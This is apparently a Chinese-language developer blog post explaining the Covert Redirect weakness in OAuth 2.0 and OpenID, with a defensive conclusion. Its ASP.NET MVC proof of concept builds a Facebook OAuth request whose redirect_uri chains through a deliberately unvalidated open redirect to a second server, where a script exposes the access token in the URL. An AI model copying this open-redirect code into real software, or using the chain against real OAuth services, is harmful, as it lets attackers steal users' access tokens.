[ASP.NET][Security] Covert Redirect Vulnerability

Covert Redirect 是由新加坡南洋科技大學的博士生王靜 (Jing Wang) 所發現的,它是一個在 OAuth 2.0 與 Open ID 驗證之間的一個弱點 (vulnerability),有使用過 OAuth 協定的開發人員應該會有印象,就是 Web 應用要使用 OAuth 2.0 做驗證與授權時,都要給它一個 redirect_uri 的參數,作為接取 code 以作為二次驗證的網址,Covert Redirect 弱點就是利用這個機會來進行攻擊...

Covert Redirect 是由新加坡南洋科技大學的博士生王靜 (Jing Wang) 所發現的,它是一個在 OAuth 2.0 與 Open ID 驗證之間的一個弱點 (vulnerability),有使用過 OAuth 協定的開發人員應該會有印象,就是 Web 應用要使用 OAuth 2.0 做驗證與授權時,都要給它一個 redirect_uri 的參數,作為接取 code 以作為二次驗證的網址,Covert Redirect 弱點就是利用這個機會來進行攻擊。

在 OWASP 2013 年的前十大弱點清單中的第十名:Unvalidated Redirect and Forward,指出了對 HTTP 302 (Redirect) 的漏洞,因為 HTTP 302 會將使用者的瀏覽器轉到指定的網址,而若目標網址又有惡意程式的話,等於讓使用者白白中招,另一個大家常聽到的名詞是 Open Redirect,也就是在網址中的 Query String 加入要轉向的目標網址,例如 http://acme.org/redirect?url=acme.aspx 會把瀏覽器重導到 acme.aspx,而現在有很多的 Web API 或服務也會用到這個機制,讓存取的工作簡單化。不過 Open Redirect 有個很重大的問題,就是大家可以隨意的傳入不同的 URL,因此就會有些惡意使用者會利用這種釣魚的機制來進行攻擊。

Covert Redirect 弱點的原理就是利用 Open Redirect 的問題來實作的,在我們要發出 OAuth 2.0 token 要求時,都會在參數列中傳入 redirect_uri,這個 redirect_uri 一般都是由應用程式實作接取存取碼的網址,不過若這個 redirect_uri 會同時施行 HTTP 302 的動作,而又沒有驗證即將要移轉的網址是不是合法的話,Covert Redirect 弱點就等於是一個漏洞,惡意使用者可以利用你的身份向使用者要求授權,並獲得其存取權仗,但使用者還以為是授權給你。

下圖為 Covert Redirect 攻擊的示意 (擷取自 https://www.youtube.com/watch?feature=player_embedded&v=HUE8VbbwUms)

image

為了要驗證它確實存在,我寫了一個 POC,包含 MVC/Web Form,不過因為程式碼都類似,所以我只展示 MVC 的版本。

首先是登入啟動:


public class LoginController : Controller
{
    // GET: Login
    public ActionResult Index()
    {
        string tokenServerUrl = "http://localhost:5344"; // configure for yourself environment.
        string maliciousServerUrl = "http://localhost:5352"; // configure for yourself environment.
        string key = "[YOUR_FB_APP_ID]"; // configure for yourself environment.
        string scope = "[SCOPE]"; // configure for yourself environment.
        string redirectUrl = HttpUtility.UrlEncode(
            string.Format("{0}/Home?redirectUrl={1}", tokenServerUrl,
            HttpUtility.UrlEncode(string.Format("{0}/Home", maliciousServerUrl))));

        return Redirect(string.Format(
            "https://www.facebook.com/dialog/oauth?client_id={0}&redirect_uri={1}&response_type=code%20token&scope={2}",
            key, redirectUrl, scope));
    }
}

 

登入啟動會向 Facebook 發出要求以進行驗證,這一般和我們常做的 Facebook OAuth 是一樣的,但問題是出在 redirectUrl 這個變數,它不但包含了正規的回應接取器 (http://localhost:5344),也包含了一個另外的網址,且這個網址是另一個伺服器 (http://localhost:5352) 上的網頁,而且接取器又會自動做 Redirect,而且沒有經過驗證。


public class HomeController : Controller
{
    // GET: Home
    public ActionResult Index(string RedirectUrl)
    {
        return Redirect(RedirectUrl);
    }
}

而另一個網址的內容則是:


public class HomeController : Controller
{
    // GET: Home
    public ActionResult Index()
    {
        return View();
    }
}

 

你可能覺得很奇怪,它並沒有做什麼,但我們來看看它的 View:


<html>
<head>
    <meta name="viewport" content="width=device-width" />
    <title>Index</title>
    <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
    <script type="text/javascript">

        $(function () {
            alert(window.location.href);
        });

    </script>
    </body>
</head>
<body>
    <div> 
    </div>
</body>
</html>

 

執行的結果是:

image

 

你會發現顯示這個訊息的,是在 http://localhost:5352 而不是在原本的 http://locahost:5344 內,而這裡只是讓它顯示,但真正惡意的使用者會在裡面埋入 AJAX 的指令,把這段網址的 access token 偷回他的 server,這樣以後就可以假冒使用者的身份來操作臉書了,若你的應用程式要求的權限愈大,被偷的 access token 的權限就愈大。

這個漏洞基本上都適用於 OAuth 2.0 的服務,所以很多 Service Provider 都會中招,但其實這嚴格來說並不是 OAuth 2.0 協定的問題,而是 Web 應用程式自己的漏洞。

防禦它的最好方法,最好是把 Open Redirect 的功能關閉,如果一定要開,就要驗證它是不是合法的 (例如只能連到同一個 domain 的網頁),另外,在 OAuth 2.0 Service Provider 內的驗證回應接取端也應該要限定只有一個入口,不可以用範圍過大的設定,以避免可能的惡意重導向。

 

Reference:

http://tetraph.com/covert_redirect/

http://dannythorpe.com/2014/05/02/tech-analysis-of-serious-security-flaw-in-oauth-openid-discovered/

https://www.youtube.com/watch?feature=player_embedded&v=HUE8VbbwUms

https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards

http://cwe.mitre.org/data/definitions/601.html